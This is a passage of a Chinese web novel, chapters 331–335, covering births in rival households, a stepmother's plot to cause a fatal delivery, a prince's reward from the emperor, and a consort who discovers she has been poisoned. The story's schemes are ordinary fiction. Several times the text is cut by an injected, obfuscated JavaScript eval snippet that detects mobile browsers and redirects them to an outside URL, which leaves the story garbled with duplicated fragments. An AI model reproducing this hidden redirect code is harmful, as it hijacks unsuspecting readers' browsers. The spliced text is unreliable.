姜夫人董氏也闻讯赶来,忙问怎么回事,姜星熠避重就轻地把事情讲述一番,董氏也没舍得责骂自己儿子,反觉得陆映溪不懂事,气性太大,若非她闹着要走,也不会发生推搡。 因动了胎气,胎相不正,陆映溪的这一胎生得万分艰难。 足足生了一整天,才终于把孩子生下。 是个儿子。 董氏立马笑开了花,命人给稳婆打赏,又亲自接过那襁褓看了又看。 “太好了,以后咱们姜家有后了。” 姜星熠也高兴。 他只有一个庶女,这个孩子是他的嫡长子,其意义非同一般。 姜锦年也赶来看自己的小侄儿,她凑上去,但见那孩子红彤彤皱巴巴的,长得不甚好看。 他也不哭,眼睛半睁不睁,看上去有些呆愣。 姜锦年蹙眉,“这孩子怎么有点傻愣愣的。” 不机灵。 董氏当即面露不悦,“瞎说什么?刚出生的孩子都这样。” 姜锦年咕哝,“琴姐儿就不这样。” 她口中的琴姐儿便是姜星熠的庶女。那孩子生得白胖,哭声嘹亮,看上去机灵又有劲。 姜锦年对孩子算不得喜欢,但依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557570|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧记得琴姐儿出生时的样子,跟眼前这孩子的确大为不同。 董氏没好气地瞪了她一眼,“一个丫头片子,跟哥儿能比吗?” 姜锦年不说话了,或许,每个孩子的确不一样吧。 对于陆映溪这个功臣,董氏的态度也彻底转变,嘘寒问暖,笑脸相迎,比亲母女还亲,丫鬟婆子伺候得也分外尽心尽力。 陆映溪遭了不少罪,身上还疼得厉害,脸色也透着惨白,好在拼死生下了儿子,她的眉目终于慢慢舒展了,整个人颇有种扬眉吐气之感。 姜家很快派人去陆家报喜。 陆贯轩最近红光满面,心情甚好。 只因瑾王安然无恙,他的岳丈梦没有破碎。 不仅如此,自己女儿还立了功,被封了郡主。 这几日他上朝时,走路都带风,腰杆也挺直几分。 听了姜家的报喜,他的心情更添几分愉悦,立马命人打赏了报喜之人。 方氏自不必说,欢喜得眉目舒展。 洗三礼时,陆贯轩和方氏相携而来。 陆贯轩与姜永康有龃龉,本不想与之多来往,但心中那股得意和炫耀的心思作祟,他还是来了。 果然,到了姜家,姜永康对他分外殷勤,处处都捧着他,陆贯轩脸上的笑意便没落下去过。 陆映溪依旧躺在床上,脸上气色不佳。 方氏见了,不禁心疼,一问才知,她那日生产时下身撕裂,而今依旧疼得厉害。 方氏搂着她,“我可怜的溪儿,但咱们女人便是这样,总要经历这一遭。好在,你肚子争气,生了个儿子,以后,你在姜家就能扬眉吐气了。” 陆映溪脸上这才重新有了笑意。 “不过不是还没到生的时候吗?怎么突然发动了?” 闻言,陆映溪脸上的笑意立马冷了下去。 她把当日发生之事道来,方氏听了,脸色顿时变得很难看。 “那个混账!你是双身子的人,他竟敢推你。” 末了又骂陆知苒,“**,她天生就克咱们母女。” 本以为陆知苒要竹篮打水一场空,没曾想,老天爷都一再帮她,简直可恨。 第331章 萧晏辞讨赏 陆映溪也恨,但她眼下自顾不暇,也实在没有精力去对付陆知苒。 方氏倒是想对付她,但陆知苒关起门来待嫁,方氏的手根本伸不进去。 这几个月,方氏甚至都没能见到她。 方氏只能自我宽慰,日后定能找到机会算账。 陆映溪想到了另一人,“娘,紫鹃那**呢?她什么时候生?” 方氏的眸色一寒,“也快了。” 陆映溪压低了声音,“娘,您就真的让她把孩子顺利生下来?” 经历了一次生产,陆映溪更加真切的意识到,生孩子真的是在鬼门关走一遭,若是紫鹃生产的时候发生点意外,一尸两命,也并非没有可能。 “你爹现在把我看得紧,我不能动手。但你放心,那孩子,她生不下来。” 她可不是什么善男信女,紫鹃那**胆敢背叛她,自己怎会放过她? 只是,有了前面的经验,方氏不会再直接下手,她采取了迂回的手段,到时候,紫鹃出事,她也能把事情撇得一干二净。 陆映溪有些精力不济,便也没有追问。 母亲既然如此自信,必是早有谋划的。 方氏见她疲累,没有多待,只是临走前,又去看了看外孙。 孩子尚未取名,乖乖巧巧的,很安静。 不知为何,方氏见了那孩子,也觉得他过于安静,眼睛有些呆滞。 方氏想,大约这孩子性情稳重,以后是成大事的。 陆贯轩看了小外孙,也想到了紫鹃,她的产期也近了,他可得及早把生产事宜安排妥当,万不能让方氏插手。 这段时间紫鹃很老实,只在自己的院子里专心养胎,大夫诊断的结果也很不错,胎相很稳,最后生产定然能顺利。 陆贯轩对那孩子充满了期望。 姜家的洗三宴办得十分低调,但卢诗音刚好回家省亲,恰好听说了此事,联想到自己,她心头笼上一抹阴霾。 卢夫人看着她的肚子,不禁开始担忧。 “最近可有请太医去瞧瞧?” 卢诗音眉宇间也笼着一层淡淡愁绪,“瞧了,但都瞧不出什么来。” 卢夫人便宽慰她,“你尚且年轻,只是时机未到罢了,放宽心,莫要太急。” 卢诗音点着头,但心中的心结依旧没能解开。 她甚至想到了赵书宁。 上次自己脸上的伤就是赵书宁治好的,如果她给自己看诊,兴许能让自己怀上身孕。 此时的卢诗音已经有些病急乱投医,完全忘了赵书宁为了赢得萧婉贞的信任,给她用假孕药之事。 她其实记得这件事,只是下意识回避了。 她觉得,赵书宁之所以给萧婉贞用假孕药,是因为萧婉贞生兰姐儿的时候伤了根本,注定怀不上。 但自己不一样,自己还年轻,以前也没有生过孩子,凭赵书宁的医术,定能帮自己调理好身子,让自己尽快怀上身孕。 但这个想法她也只敢藏在心里,没说出来,不然母亲听到了,定要训斥自己昏了头。 更何况赵书宁现在是**犯,她就算真的有心找对方调理身子,也根本行不通。 卢诗音回到王府,心中依旧郁结。 这时,心腹匆匆而来,向她回禀了一个消息。 “王妃,奴婢派人到楚侧妃身边打探一番,发现她每次侍寝前都偷偷服用了这种助孕丹,此乃出自赵书宁之手。” 卢诗音欣喜地接了过来。 “可当真?” “此乃楚侧妃身边的丫鬟柳儿所说,她识时务,想另寻高枝,自然不敢说假话。” 卢诗音心中信了七成,但还是命人请了大夫,对这些丹药检验一番。 最后证明,果然是极好的助孕丹,卢诗音心中登时燃起熊熊希望。 她今日刚想到了赵书宁,没想到现在就拿到了她调配的药,兴许,连老天爷都听到了她的心声,想帮她一把呢。 楚云清能怀上,自己也定然可以。 这助孕丹只余三颗了,她必须要在用完之前顺利怀上。 经过一路跋涉,萧晏辞一行终于**十五抵达京城。 刚入城门,就有官员在城门相迎。 德丰帝早早派人候在此处,便是为了第一时间接到他们,此番待遇,可见帝王的倚重。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564440|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>陆知苒和叶寒衣都各自乔装,低调地回了陆府和皇宫,无人知晓她们也曾去过西平。 萧晏辞则是大张旗鼓地入了宫,风尘仆仆,形容颇为憔悴。 卖惨这一套他素来干得顺手,更何况,这次他不是卖惨,是真的惨,差点连命都搭进去了。 萧晏辞一见到德丰帝就扑通跪下,眸底含泪,“父皇,儿臣差点就见不到您了。” 德丰帝急忙从龙椅上起身,亲自上前扶他,又来回上下地打量。 “瘦了,也黑了。这次,你真是吃了苦头了。” 萧晏辞看到德丰帝眼中那抹真诚的担忧,以及鬓角那抹斑白,心头也不禁微微触动。 “儿臣不孝,让父皇担忧了。” 德丰帝哼了一声,“你竟敢欺瞒于朕,私自跑到西平去,这笔账,朕要与你好好算一算。” 萧晏辞立马告罪讨饶,“儿臣只是怕父皇担忧罢了,并非有意欺瞒。儿臣这回吃到了教训,下次再也不敢了。” 说着就把衣裳掀开,露出自己腰腹上那处狰狞的伤口。 德丰帝见了,瞳孔一缩,脸上的佯怒再也装不下去,只余满腹心疼。 他顿时觉得只把楚家人流放,惩罚得太轻了。 “快宣太医!” 萧晏辞玩笑着道:“父皇,等太医来,儿臣这伤都要痊愈了。” 德丰帝并不听他的,依旧宣了太医。 很快,太医赶来,给萧晏辞检查了一番。 他的伤已经恢复了,太医也看不出什么来。 唯一能做的,就是开些祛疤的药,尽量让那伤处恢复如初。 萧晏辞插科打诨,“父皇,这是儿臣立功的勋章,要是恢复如初了,岂不是把儿臣的功劳也抹了?” 德丰帝没好气,“你的功劳朕忘不了,赏赐也少不了你的。” 萧晏辞麻溜地道:“那儿臣这厢先谢过父皇恩典了,父皇您打算给儿臣赏赐些什么?” 德丰帝睨他,“你想要什么?” “儿臣还真有一样想要的。儿臣定亲都大半年了,是该早早成亲了,父皇开开恩,早些给儿臣把婚期定了吧。” 第332章 团聚 “是朕不让你娶?你若不折腾这一出,说不定瑾王妃都把朕的皇孙怀上了。” 德丰帝一副恨铁不成钢的语气。 萧晏辞听了,也不禁一阵心塞。 但是是他不想吗?他完全是被局势所逼啊。 数落归数落,德丰帝还是答应尽快择定吉时,为他们完婚。 至于其他赏赐,萧晏辞没问,反正少不了他的。 萧晏辞提了蒋老太医之事,德丰帝亦不禁面露唏嘘。 “蒋老临行前,便向朕请求戴罪立功,他的确说到做到了,朕也不能食言。传朕旨意,蒋老此行赈灾有功,蒋家女眷可留在京中,免于流放。” 萧晏辞闻言,当即代替蒋家谢了恩。 德丰帝又问起蒋南笙,“你早就知晓她的女儿身,却连朕也瞒着?” 萧晏辞装傻,“儿臣冤枉,儿臣也是最近才知晓。” 然后又飞快甩锅,“宝珠定然知晓,父皇您要兴师问罪,大可去找她。” 德丰帝哼了一声,“朕这就把蒋南笙宣召入宫,让你们当面对质。” 萧晏辞摸了摸鼻子,赶忙开溜。 “母妃定然等急了,儿臣先去拜见母妃,儿臣告退。” 说完麻溜地走了,德丰帝哼笑一声,也没阻拦。 他敛了笑意,当真吩咐人去把蒋南笙唤来。 并非为了兴师问罪,而是有事需用到她。 若她有这个本事,能办成此事,德丰帝不会吝于重用。 夕颜殿,柔妃正拉着叶寒衣嘘寒问暖,一时压根没想起萧晏辞来。 叶寒衣已经带来了好消息,让她吃了定心丸,她自然不再担忧。 萧宝珠也在,围着叶寒衣问东问西,十分热闹。 萧晏辞来时,并未看到自己想象中的焦急地翘首以盼的母妃,反而老远就听到了她们的谈笑声。 萧晏辞:…… 所以自己真的半点都不重要,是吗? 他用力地咳了一声,才终于把几人的注意力吸引了过来。 柔妃见了他,眼睛一亮,急忙上前。 “阿辞,你可算回来了,来,让母妃好好看看。寒衣说你受了重伤,险些丧命,菩萨保佑,可算是没事了。” 萧晏辞见母妃如此关怀自己,心头熨帖,但嘴上却幽幽地道:“原来母妃还想着儿臣,儿臣还以为您忘了自己还有个儿子呢。” 柔妃伸手假意拧他,“你浑说什么,你没瞧见母妃为了你都瘦了一大圈?你个没良心的。” 萧宝珠在一旁附和,“七皇兄,我为了你也瘦了一大圈。” 萧晏辞注意到了,他心头升起一股愧疚。 “是我不好,让你们担心了。” 柔妃横眉冷目,“你的确混账,当初竟然拿话诓我,真是半点没把我这个母妃放在眼里!” 萧宝珠也拱火,“可不是,太不像话了!” 她们开始秋后算账,萧晏辞立马开始告饶,说软话。 但他可不敢把伤口露出来博同情,不然母妃定要掉金豆子了。 最后,他话头一转,再次转移战火。 “这件事寒衣是知道的,她也瞒了你们,你们要怪也不能只怪我一个。” ——死道友不死贫道。 叶寒衣:…… 你的良心不会痛吗? 柔妃没有被他糊弄,“你才是罪魁祸首,别想搅混水。” 萧晏辞当然要搅混水,不然他娘亲翻旧账不知要翻到何时。 “宝珠,南笙回来了,你不去见见她吗?” 萧宝珠一听,立马收了兴致勃勃看戏的心思,兴奋道:“她在何处?我这就去寻她!” “父皇应当在召见她,你到御书房外候着,定能等到她。” 萧宝珠闻言立马屁颠颠地跑了,再顾不上看萧晏辞的热闹。 支走了一个看热闹不嫌事大的,他又把话头引到叶寒衣的身上。 “母妃,您可知道寒衣有了心上人?过不了多久,那人就要到滇南提亲了。” 柔妃一听这话,眼睛立马瞪大。 “寒衣,这是真的吗?” 叶寒衣还没来得及提起这件事,眼下被萧晏辞戳破,她便没有隐瞒,点头承认了。 柔妃忙问对方的身份,叶寒衣道:“他是镇西将军的徒弟,戈叙白,现在是镇西军参将。” 萧晏辞插话,“现在已经是五品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564441|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校尉了,父皇刚刚下的旨。” 柔妃听到镇西将军几个字,神色便微微动了动,心头亦不觉泛起涟漪。 叶寒衣观察着她的神色,试探性地问,“姑母,听说镇西将军幼时是在叶家长大,您与他应当也相识,他若派人去滇南提亲,我爹娘应当会同意的吧?” 柔妃回过神,飞快收敛了面上的异色,语气如常地开口。 “镇西将军人品正直端方,他的徒弟品性定然也不差,你爹娘会认真考虑这门亲事的。” 她没有把话说死,但话里的倾向性也已然十分明显了。 叶寒衣固然好奇他们的关系,但这是在宫中,她到底不敢瞎问,便硬生生压住了满腔的好奇心。 到时候,待她回了滇南再向爹娘打听也不迟。 陆知苒回到瑶光阁,主仆相见,顿时一阵抱头痛哭。 便是高嬷嬷也不禁跟着抹了泪。 舒舒服服地洗了个澡,又吃上了丹烟亲手做的一桌子美食,陆知苒觉得浑身都舒坦了。 她问起了府中最近发生之事,小丫鬟便七嘴八舌地说了起来。 陆映溪生了儿子。 紫鹃也快生了。 “小姐,您所料果然没错,夫人非但没有对紫鹃姨娘下手,还让中公给紫鹃姨娘安排了许多大补之物,全都是货真价实的好东西,老爷都挑不出错来。” “奴婢照着您的吩咐,悄悄给紫鹃姨娘传话,告知她进补太过,会让胎儿太大,引发难产。只是她究竟有没有听进去,奴婢就不知道了。” 陆知苒点头。 “我们话已带到,究竟是否听劝,就看她自己了。” 前世,方氏便是用了这法子,让紫鹃生产时一尸两命。 紫鹃还以为方氏宽和大度,不计较自己的背叛,殊不知,她只是换了个**不见血的手段罢了。 这辈子,陆贯轩提防她,她更没法子对紫鹃下手,就如法炮制,用了同样的手段,谁都寻不出她的错处来。 陆知苒派人提醒紫鹃,已然尽到了自己的本分,若紫鹃不信自己,自寻死路,陆知苒也没法子。 毕竟,好言难劝该死的鬼。 第333章 小赚一笔 翌日上朝,德丰帝当众给萧晏辞颁布赏赐。 赐皇庄、盐井各一座,增加封地户数,食邑万户,另赐玉如意、御马、宫廷珍玩等珍奇无数。 最后,择定十一月二十为瑾王完婚之日。 萧晏辞欢欢喜喜地领旨谢恩,萧晏清则是瞬间嫉妒得面容扭曲,一众朝臣也是面色各异。 赐皇庄也就罢了,赐盐井可是头一回。 须知,一座盐井可太值钱了,可见皇上对瑾王之看重。 不少人甚至以为皇上要立瑾王为太子,可是皇上又给瑾王增加了封地户数,这架势,似是依旧要让瑾王前往封地。 皇上究竟此举,究竟有何用意? 众人猜不透,便不敢瞎猜,唯恐自己猜错了圣意,反讨不到好。 柔妃听说此事,担心他风头太过,会成为众矢之的,萧晏辞似浑不在意。 “母妃不必过于担忧,一切兵来将挡水来土掩便是。” 他既然决定去争那个位置,就势必要出现在人前,断然没有躲在背后就能捡到便宜的道理。 他不惧明枪暗箭,也不怕暗涛汹涌,各路人马,尽管放马过来。 而这时,陆知苒收到了另一个好消息。 此前她和萧晏辞、萧宝珠合伙组建的商船返程了,他们此行十分顺利,不仅把运送出去的十几艘货物销售一空,还带回了同样多的外洋商品。 那些外洋货在大齐朝备受追捧,销量惊人,陆知苒得到的收益也十分可观,足足翻了几十倍。 陆知苒把萧宝珠请了来,将一沓厚厚的银票递到她的面前,把萧宝珠都看傻眼了。 陆知苒笑道:“我们海运的商队回来了,小赚了一笔,这是你的报酬。这是账目明细,你若有疑问,可以看看。” 萧晏辞那边,她也派人把银票送了过去。 萧宝珠眼珠子瞪得更大了。 “这,这怕是有几百万吧?” “三百一十二万。” 乖乖。 她当初往里投了五十万,小半年时间,就变成了三百多万! 这就是陆知苒口中的“小赚一笔”? 饶是萧宝珠自诩视金钱如粪土,也被震撼到了。 她捂着心口,好半晌没缓过来。 “原来海运当真这般赚钱,那我如果把这三百多万都投进去,岂不是又能大赚一笔?” 陆知苒立马制止了她这天真的想法。 “我们是运气好,没有遇上风浪,若是遇到风浪,或是其他变故,也可能会血本无归。就算要再往里投银子,也万不能冲动,需当谨慎。” 萧宝珠被吓得一激灵,立马打消了方才的念头。 “那还是算了。” 她本拥有了这么多银子,若是一夕之间全没了,那她得心痛死。 分了钱,萧宝珠便开始数落起她来。 “你和寒衣偷偷往西平去,竟不告诉我,实在太不把我当朋友了。” 陆知苒只得告饶,“我也是奉命前去,皇上命我隐瞒此事,我自是不敢抗旨。” “那寒衣怎么知道的?” 陆知苒好声好气地解释,“我要走,身边的人自然瞒不住,高嬷嬷是柔妃的人,与其让柔妃担忧,我自是只能如实相告。我也是怕你担忧才隐瞒的,好宝珠,你就别生气了。” 萧宝珠本也没有真的生气,陆知苒主动递了台阶,她也就顺势下了。 “下不为例。” 陆知苒连称再也不会了。 她转而又问,“你与南笙可见着面了?” 萧宝珠点头,“见着了,她安然无事,我可算放心了。” 那日她在御书房外等着,果然等到了蒋南笙。 蒋南笙换上了女装,萧宝珠乍然见到,还有些不习惯,但下一瞬,萧宝珠就飞扑过去,一把将她抱住了。 分别大半年,彼此的陌生感在这一瞬间被击碎,两人的眼眶都湿润了。 蒋南笙要料理蒋家之事,没有时间坐下来与萧宝珠畅聊,萧宝珠便像牛皮膏药一样跟着她,帮她料理蒋家诸事,也将彼此这段时间发生的种种都问了个清楚。 萧宝珠也见到了林铮。 一想到那人,萧宝珠的眉头就不禁蹙了起来。 “苒姐姐,你应当见过林铮吧?” 陆知苒点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566660|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你跟我说说,他为人如何?” 陆知苒看出她对林铮的敌意,“你打听他做什么?” 萧宝珠哼了一声,“我不喜欢他。” “为何?” “他像个跟屁虫似的,一直粘在阿笙的身边,太讨厌了。” 陆知苒不禁失笑,她这是吃起了林铮的醋。 陆知苒如实道:“我与他私下交道不多,但仅我所见,他对南笙言听计从,南笙亦信任他。” 这才是最让萧宝珠心梗的。 以往自己才是阿笙最亲近的人,现在,林铮竟然取代了自己的位置,萧宝珠自然怎么看他怎么不顺眼。 萧宝珠的心思都写在脸上,陆知苒不禁有些好笑。 “你与林铮不同,你又何必与他争这口气?日后你有了心仪的男子,怕是也要把我们这些闲杂人全都抛诸脑后。” 萧宝珠立马反驳,“我才不会呢。” 旋即又不甘心地道:“他哪里配得上阿笙?” 陆知苒笑道:“感情之事,如人饮水冷暖自知,他们彼此觉得合适就行。” 萧宝珠听得又有些酸溜溜起来。 陆知苒又道:“不过,现在南笙应当没有心思考虑儿女私情,如何振兴蒋家,是她当下心之所虑。若她冷落了你,也定然并非有意,只是暂时腾不出时间来罢了。” 萧宝珠一听这话,也泄了气。 压在她肩头上的担子太重了。 都是蒋泽霖那个祸害惹的事。 “父皇召见了她,似是交给了她一桩棘手差事,我问了南笙,她却不肯说。” 陆知苒心中隐有几分猜测,但只是她的猜测,她便没有多说。 正闲聊间,瑾王府的人来了,还抬着个大箱子。 陆知苒疑惑打开,便发现萧晏辞把自己送去的一大摞银票原封不动地送了回来,还附带着送上了其他奇珍异宝。 贺昀笑着道:“我家殿下说,他的银子就是王妃的银子,从今以后就交由王妃代为打理。另外这些东西是皇上赏赐的,殿下也命小的一并送给王妃把玩。” 萧宝珠从旁打趣,“七皇兄还挺上道。” 第334章 紫鹃生了 陆知苒本不觉有什么,但被萧宝珠一番打趣,反倒有些不自在起来。 最后这箱子东西自然留了下来,贺昀完成了差事,便回去复命了,萧宝珠人尽其用,直接让贺昀替她把银票护送回宫。 这么一笔巨款,可不能有半点闪失。 萧宝珠走后,陆知苒便打算梳理一番账目,谁料这时,有丫鬟匆忙来禀,“紫鹃姨娘要生了。” 陆知苒神色一凛,忙问,“可是发生什么冲撞之事?” 丫鬟摇头,“不曾,紫鹃姨娘照例歇了午觉,起来便腹痛发作了。” 陆知苒微松了口气。 不是发生了意外变故就好。 想来她这胎是到了时间,瓜熟蒂落了。 陆知苒立马命人入宫请御医,又让人去请稳婆。 这孩子毕竟是陆家的血脉,她不能袖手旁观。 方氏那头,也第一时间收到了消息,她得知陆知苒已然做了安排,便只派人去请陆贯轩,其余的一概没有插手。 陆知苒主动揽下这件事也好,到时候紫鹃和孩子出了什么事,也怪不到她的身上来。 陆贯轩收到消息,第一时间匆忙赶回。 而此时,紫鹃已经进了产房,开始生产了。 方氏称病不出,陆知苒成了主心骨,在静安居指挥若定,大家有条不紊地进进出出,忙而不乱。 陆贯轩反倒乱了方寸,焦急地在产房外来回踱步,语无伦次地说着些什么。 陆知苒宽慰他,“紫鹃姨娘胎相一直很稳,此次生产定能顺利,父亲且放宽心吧。” 陆贯轩胡乱点头,但一颗心依旧高高提着。 他已经做好了要生上一整天的准备,但没想到,不出两个时辰,产房中就传来了嘹亮的哭声。 陆贯轩愣住了,旋即便是一阵巨大的欣喜。 陆知苒松了口气。 这辈子,总算没有再发生一尸两命的惨剧。 看来,紫鹃把自己的告诫听进去了。 稳婆抱着孩子从产房出来,笑着报喜。 “恭喜陆老爷,喜得千金。” 是个女儿? 陆贯轩心中的惊喜骤然凉了大半。 稳婆看出他面上的失望,犹豫着要不要把孩子抱走,陆知苒便伸手,把孩子接了过来。 这孩子乃足月生产,紫鹃孕期也吃得好,是以孩子生得白胖,哭起来也十分有劲,小手小脚挥舞得很用力。 陆知苒看着她,眸底不觉多了几分温柔。 “父亲,您瞧,她的小手小脚多有力,长得也像您。” 陆贯轩听了这话,这才看向那孩子。 他想到了前些时日自己去瞧的外孙,那孩子过于安静,面容看上去也有些呆傻,少了灵气。 再瞧瞧这孩子,的确活泼可爱多了。 陆贯轩瞧不上像他,但陆知苒这么一说,他便也觉得像自己。 陆知苒又道:“时隔多年,父亲再添子嗣,此乃喜事一桩,女儿瞧着,妹妹是有福气的。日后,咱们陆府也会有更多麟儿诞生。” 这话让陆贯轩脸上又添了两分笑意,方才心中的那股子失望也被冲淡了不少。 “父亲要不要抱抱她?” 陆贯轩略微犹豫,最后还是伸出了手,将那孩子接了过来。 他的动作有些僵硬,稳婆从旁指挥,他才堪堪抱稳了。 真正把她抱在怀里,陆贯轩心中也不自觉地生出一股羁绊,心头也软弱了起来。 方氏本一直在等着一尸两命的消息,但没想到,最后却等来了母女平安的喜讯,方氏脸色登时变得十分难看。 “怎么可能!不是说她把那些补品都吃了吗?” 那些补品都是好东西,她为了让紫鹃难产,可是下了血本的。 按理说,紫鹃腹中的胎儿应该养得很大了,而且紫鹃又是高龄产妇,血崩的可能性极大。 谁知,她竟那么快就把孩子生下来了! 心腹嬷嬷只能宽慰她,“就算她生下了孩子也不要紧,不过是个丫头片子罢了,威胁不到大少爷的地位。” 方氏闻言,心头的那股郁气这才稍稍压下几分。 “走,去看看那**。” 方氏调整好心情,往静安居而去。 不曾想,刚一到,就瞧见了陆贯轩抱着那孩子,满脸慈父笑意的模样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566661|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>方氏的心又被狠狠刺了一下,原本好不容易调整好的面色又瞬间扭曲了。 陆知苒转头,刚好与方氏对上了。 “母亲来了?快看,紫鹃姨娘给父亲添了个千金,母女平安。” 方氏呕了一口血,最后还是撑起笑脸上前。 待看到那白胖又充满活力的孩子,方氏心头再次梗住。 这孩子竟长得这般好,比溪儿那孩子机灵活泼多了。 方氏强笑着说了些夸赞的话,实际上指甲都掐进了肉里。 待回到知春苑,方氏气得砸了一套茶具。 心腹嬷嬷只得再次宽慰,“夫人消消气,日后咱们多的是机会动手。更何况,现在大少爷还是老爷唯一的嫡子,没人能撼动他的地位。” 方氏眸色染上几分晦暗。 陆贯轩还年轻,他若是不停地纳姨娘,总会有可能生下儿子,到时候,她的儿子就不是唯一的了。 除非,陆贯轩这辈子都不能再生。 这个念头在方氏的脑中升起,很快被她压了下去。 陆贯轩对她已经没有了以往的情分,自己没有动手的机会。 若非有十足的把握,她也不敢贸然出手。 心腹嬷嬷又道:“大少爷马上就要参加科举了,凭借大少爷的资质,定能金榜题名,届时夫人就再无所忧了。” 方氏的眉目依旧没有舒展。 陆君成的学问如何,方氏并不了解。 他当真有那头脑,金榜题名? 方氏内心对此深表怀疑。 “但愿吧。” 方氏揉着脑袋,半晌,喃喃道:“君儿也到了该说亲的时候了。” 对于娶亲的人选,方氏心中也早有盘算,只是此事时机尚未成熟,她还得好生谋划一番。 虽是庶女,陆贯轩还是办了一场洗三宴。 一来是老来得女,他心中到底高兴。 二来也是想趁此机会结交权贵,他马上就要当上瑾王岳丈了,自然多的是人想巴结讨好他,他大办洗三宴,便是给大家巴结讨好他的机会。 果然,陆府这场洗三宴宾客云集,分外热闹,陆贯轩赚足了风头。 第335章 卢诗音病急乱投医 这个消息再次传到卢诗音的耳中,她心中的郁结更甚。 这段时间,她承宠了三次,那三颗助孕丹她已经吃完了,但癸水还是如期来了,卢诗音的心情跌入谷底。 丫鬟向她提议,“王妃,奴婢听说蒋家的那位小神医,其实是个女子,您不若请她来给您诊断一番。” 同为女子,诊断妇科病症,也会更加方便。 卢诗音想到蒋南笙与萧晏辞的关系,心中有些迟疑。 蒋南笙是萧晏辞一派,她会真心为自己诊断吗? 卢诗音没有第一时间应下此事。 但紧接着又发生了另外一件事,直接压垮了她的心智。 李云裳也怀孕了。 她不小心在花园摔了一跤,便有些腹痛,太医诊断才发现她已经有了一个月的身孕。 好在,孩子没有出事。 两个侧妃先后有孕,卢诗音这个正妃却毫无动静,一时之间,她成了整个吴王府的笑话。 李贵妃得知此事,第一时间派人赐下各种补品与赏赐,这更狠狠打了卢诗音的脸。 原本她尚且犹豫,而今被接连刺激,心头仅剩的犹豫也没了。 她要让蒋南笙给自己看诊。 但为免节外生枝,她没有把蒋南笙请回府来,而是隐藏身份,许以重金请她看诊,一切都在私下进行。 蒋南笙收到重金,也没有拒绝——她现在的确缺银子,而且,病患求医,除非她无能为力,不然她不会拒绝。 对方既然不想暴露身份,蒋南笙便默契地什么都没问,只管看病。 一番诊脉,对方十分急切。 “请问我家夫人脉象如何?” 蒋南笙凝眉沉思,“夫人体内似有金石之浊,阻滞冲任,气血不得畅达,恐子嗣缘分尚需天时调和。” 卢诗音一听这话,便觉一阵天旋地转。 “你这话是何意?你说明白点,别给我掉书呆子。” 难道她的身体真的有问题? 蒋南笙便没绕弯子,直言不讳,“依民女拙见,夫人恐是中了毒。” 卢诗音大惊,“怎么可能?先前太医都未曾诊出来。” 蒋南笙先前便听她的声音有些耳熟,又听这话,对其身份便更多了几分猜测。 她不卑不亢,“民女一家之言,夫人若心有疑虑,便只当民女什么都没说,这份诊金,民女亦如数奉还。” 蒋南笙将银票放在案上,起身行礼欲走。 卢诗音的心早就彻底乱了,如何会放她走? “你站住,我让你走了吗?” 蒋南笙停下了步子。 卢诗音语气蛮横,“你既说我中了毒,那你说说,我中的是什么毒?” 蒋南笙沉吟着开口,“方才民女粗略诊断,夫人所中极有可能是青金之毒,此毒多被用在胭脂水粉中,有美容养颜之功效。夫人可将您所用的胭脂水粉检查一番,或可寻出**的源头。” 这话让卢诗音的脸色变得更加惨白几分。 胭脂水粉? 她日日都在用,若有心人往里面掺了**,她根本防不胜防! 她急切道:“那你可有法子给我把毒解了?” 蒋南笙斟酌着道,“民女于此道并不算擅长,只能尽力一试。” 